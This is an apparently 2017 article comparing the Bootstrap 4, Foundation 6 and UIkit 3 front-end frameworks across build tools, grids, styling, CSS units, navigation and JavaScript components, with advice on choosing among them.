“Bootstrap uses Grunt for its CSS and JavaScript build system and Jekyll for the written documentation. Our Gruntfile includes convenient methods for working with the framework, including compiling code, running tests, and more.” (source15)
To access Sass files16, you must install using the command line, the Node.js-powered Foundation CLI, or with its Yeti Launch application (Mac only). “Foundation is available on npm, Bower, Meteor, and Composer. The package includes all of the source SCSS and JavaScript files, as well as compiled CSS and JavaScript, in uncompressed and compressed flavors.” Other versions of Foundation are available as simple downloads without using these tools, but without SCSS files.
Bower and npm. Offer a SublimeText plugin and an Atom plugin for working with UIkit 3 as well.
In general, all three frameworks are in active development (all were updated in January or February 2017) and are mobile-first. All generally have some type of CSS preprocessor. UIkit version 3 beta currently only offers LESS. It will offer a SCSS port, as it’s offered in previous versions of UIkit, in future releases.
@jen4web2317 Yes, we will have a SASS port too. (like we have in UIkit 2)
Bootstrap transitioned from LESS to SCSS as part of its version 4 update. Foundation has always been written in SCSS, because ZURB is a Ruby on Rails shop, and Sass hails from the Ruby on Rails world.
There are notable differences with the build tools. Foundation is extremely picky about you using its workflow when working with the framework, if you wish to work with SCSS files. Unfortunately, Foundation offers few choices in tools. Bootstrap is much less picky about workflow, offering several options, including no workflow at all, even with its SCSS files. All frameworks offer at least one distribution ZIP file, containing all elements of the framework. Foundation offers a way to choose only certain elements in a download. Bootstrap 4 alpha and UIkit 3 beta do not offer this functionality currently, but they have previously offered this in older Bootstrap and UIkit versions. We can assume that once these frameworks reach their stable releases, this functionality will be offered as well.
Each framework comes with a grid system, as one might expect. Bootstrap and Foundation’s grid systems include multiple breakpoints, nested grids, offsets and source ordering (i.e. changing the order of content on collapse). Exact breakpoint values vary, but the breakpoints are generally customizable with SCSS. UIkit’s grid is radically different and is described below.
With the most recent alpha 6 release, Bootstrap features a flexbox-based grid system by default. (This is partly the reason for its Internet Explorer 10+ browser support.) By default, Foundation features a floated grid system (which helps, in part, with its Internet Explorer 9+ support). Optionally in Foundation, you can compile a flexbox-based grid system by toggling an appropriate Sass variable and recompiling to CSS. Foundation notes that flexbox is not supported in Internet Explorer 9, so keep this in mind if this is a target browser for you.
Foundation offers a few more grid features than Bootstrap, including centered columns, incomplete rows, responsive gutters, semantic grid options and fluid rows.
Equal-height columns are a common problem when working with float-based grid systems. Foundation includes a JavaScript component named Equalizer. Because UIkit and Bootstrap are based on flexbox and not floats, equal-height columns are built into the grid system and are never an issue.
UIkit has a very different grid than Foundation and Bootstrap. Rather than a standard 12-column system, UIkit has broken its layouts into three components: grid, flex and width. Starting with the grid component19, you can create as many columns as you wish:
To create the grid container, add the uk-grid attribute to a <div> element. There’s no need to add a class. Add child <div> elements to create the cells. By default, all grid cells are stacked. To place them side by side, add one of the classes from the Width component. Using uk-child-width-expand will automatically apply equal width to items, regardless of how many there are.
As implied in the documentation, grid sets up the boxes that might be next to each other in some layouts, while width determines the width of those boxes, and flex determines the layout within each box, using flexbox properties. Finally, unlike other grid systems, UIkit offers a border between grid columns.
All three frameworks come with some level of CSS styling. The styling can be changed through an overriding style sheet or by modifying the provided SCSS or LESS preprocessor files. Generally speaking, basic styling is provided for all, or nearly all, HTML5 elements. All frameworks provide some quantity of utility classes, generally used for printing, responsiveness and the visibility of elements. Foundation and UIkit offer right-to-left support for languages written in that direction. UIkit states that it will feature a RTL version and the option to compile UIkit with a custom prefix.
@jen4web2317 Also a RTL version and the option to compile UIkit with a custom prefix (like ba- instead of uk-)
It is unclear from its documentation whether Bootstrap 4 is offering RTL support, but it has been available in previous versions. It seems like this might be part of a future stable release25. There is much interest in including this feature in the Bootstrap community.
The framework with the least out-of-the-box styling is Foundation. This framework has long assumed that its users are more advanced developers who will want to write their own styling for their projects. Therefore, ZURB has always provided less styling out of the box by design, meaning there will be fewer styles to override later.
UIkit offers two color options, accessible via the Inverse component. They include the standard scheme (light backgrounds and dark text) and a contrast scheme (dark backgrounds and light text). UIkit also offers some unique styled components, such as Articles and Comments, as well as Placeholder, which provides an empty space for drag-and-drop file-uploading interfaces. If you recall YOOtheme’s WordPress and Joomla theming roots, these features make perfect sense. Neither Bootstrap nor Foundation includes this styling specific to content management systems, so this is a distinguishing characteristic of the framework.
Bootstrap offers much more than Foundation. Indeed, Bootstrap’s distinctive look has permeated websites for several years. Bootstrap 4 has a similar look to Bootstrap 3. Bootstrap still offers several colors, such as “warning,” “danger,” “primary,” “info” and “success,” and it typically offers a few variations on styling certain HTML elements, such as tables and forms.
It’s also worth comparing the CSS units in each framework. Bootstrap 4 uses rem as its primary CSS unit throughout. However, it states, “pixels are still used for media queries and grid behavior as viewports are not affected by type size.” Bootstrap also increased its base font size from 14 pixels in version 3 to 16 pixels in version 4.
Foundation says29, “We use the rem unit nearly everywhere in Foundation, and even wrote a Sass function to make it a little easier. The rem-calc() function can take one or more pixel values and convert them to proper rem values.”
Finally, UIkit seems to use pixels as a primary size unit, although occasionally uses percentages and rems in a few places in its LESS files. Its CSS size philosophy is not addressed in its documentation.
All three frameworks ship with responsive navigation elements. All include some fairly common navigation components, like formatted breadcrumbs, tabs, accordions and pagination. There are minor variations between these, but they all typically work as expected.
All three frameworks ship with dropdown menus. In general, these dropdowns may be used in several scenarios: with standard responsive navbars, with tabs, with buttons, etc. All three include vertical dropdowns. Foundation and UIkit also include horizontal dropdowns, in which the dropdown is displayed as a row rather than a column.
Navigation bars are present in all three frameworks. Each navbar can accommodate website branding and search and can be made sticky, and elements can be aligned left or right in the bar. All navigation bars collapse, but they may present collapsed content differently (some via a hamburger button plus a dropdown, some via an off-canvas menu). The navigation bars also have a few differences among themselves.
30 Bootstrap’s iconic navigation bar now comes with easy color options by combining class names, or an inline color option. (Image: Bootstrap Docs31) (View large version32)
Bootstrap offers some basic horizontal and vertical navigation bars with different styling options (tabs, pills, stacked pills, justified or plain styling). It offers a separate horizontal responsive navigation bar, which creates a hamburger button on collapse. Two color schemes are available, with colors and breakpoints customizable through SCSS.
Foundation had a responsive navigation bar in previous versions similar to Bootstrap’s. In version 6, it has turned several navigation bar treatments into individual elements that can be combined. For example, on collapse, the navigation may be hidden behind a hamburger button, behind an off-canvas treatment or behind a drilldown menu, in which the user loads screens of menu items. These types of navigation treatment may be changed at specific screen sizes. For example, the full navigation bar may be available at desktop dimensions but switch to a drilldown for mobile.
UIkit’s bar offers functionality similar to Bootstrap’s. By default, it does not have a built-in toggle, but this is easily added with the appropriate CSS classes and JavaScript. Collapsed content is typically behind a hamburger button, and it may be coupled with off-canvas functionality. UIkit also specifically offers an icon-based navigation bar (iconbar). It ships with 26 SVG icons, which can be integrated in this bar, with the promise of more icons in the future.
All three frameworks depend on jQuery for their JavaScript-based components. Foundation and UIkit ship with a copy of jQuery, while Bootstrap relies on connecting to jQuery via a CDN or a download.
All three frameworks contain similar types of functionality: tooltips, modal windows, accordions, tabs, dropdown menus, image carousels, etc.
Foundation has two handy components that set it apart. One is Abide, a full-featured HTML5 form-validation library. It can handle client-side error-checking of forms. The other is Interchange, a JavaScript-based responsive image loader. It’s compatible with images and with bits of HTML and text. It loads the appropriate content on the page based on media queries. Despite the fact that one of the defining characteristics of responsive design is images that resize, neither Bootstrap nor UIkit offers similar functionality.
UIkit combines its styles and JavaScript components in its documentation, calling it all “components.” Some of the unique JavaScript-based components currently available in its beta release include Scroll, which allows smooth scrolling to other parts of the web page, and Sortable, which enables drag-and-drop grids on the page.
In future versions of UIkit33, we are promised many components from UIkit 2, including “Slideshow, Slider, Slideset, Parallax, Nestable, Lightbox, Dynamic Grid, HTML editor, Date- and Timepicker components.” It’s worth highlighting HTML Editor, and the Date- and Timepicker components, because these are typically used in administrative interfaces and in applications. Remember that YOOtheme creates Joomla and WordPress themes as part of its business, so these are important components for it. Neither Foundation nor Bootstrap includes these admin-friendly widgets, so this is a distinguishing characteristic of this framework.
UIkit is listening for DOM manipulations and will automatically initialize, connect and disconnect components as they are inserted or removed from the DOM. That way it can easily be used with JavaScript frameworks like Vue.js and React.
It depends! All three projects are actively maintained and have devoted followers. In the end, the right framework for you will depend on your project’s requirements, where you need help in programming (making it pretty? coding functionality?) and your personal coding philosophy (rems versus pixels? LESS versus Sass?). As with all technology, there is no perfect choice, and you will have to make compromises on features, functionality and code styles.
With this in mind, here are some points to weigh in making your decision.
Browser support
The framework versions reviewed here support similar browsers. However, going back one framework version, or following the instructions for incorporating polyfills, might increase support for important browsers. In particular, if you need Internet Explorer 8 support, you might want to look at Bootstrap 3.
CSS unit differences
Foundation keeps nearly all of its units in ems and rems. Bootstrap uses mostly ems and rems, with pixels for media queries. UIkit uses mostly pixel measurements. Some developers have strong opinions about these approaches and might choose a framework based on them.
Quantity of styling
UIkit has a lot of out-of-the box styling. Foundation has much less. Bootstrap is somewhere in between. How much styling do you need to override? How much styling do you want to be present already? Do you want to write very little or none?
CSS preprocessors
Foundation was written in SCSS natively. Bootstrap had a port from LESS to SCSS in version 3, then rewrote its SCSS in version 4. UIkit continues to work in LESS while in beta, but it will offer a SCSS port in future releases. This could also affect your choice of framework.
Workflow
If you wish to modify SCSS files, know that Foundation will lock you into a fairly rigid workflow. Bootstrap and UIkit offer a workflow, but you can choose a different workflow or no workflow at all.
JavaScript components
Foundation offers form validation and responsive content management. UIkit is specifically built to work with reactive JavaScript frameworks, and it includes components for building an admin interface. Depending on the components you require, this could sway your decision.
Grid differences
Bootstrap and Foundation offer 12-column grids. UIkit offers a very different approach to grid layout, with very different styling. Foundation’s grid can easily be modified to greater or fewer columns with SCSS, and it can be made semantic as well. Grids for UIkit and Bootstrap are flexbox-based by default, while Foundation’s are float-based, but convertible to flexbox through SCSS.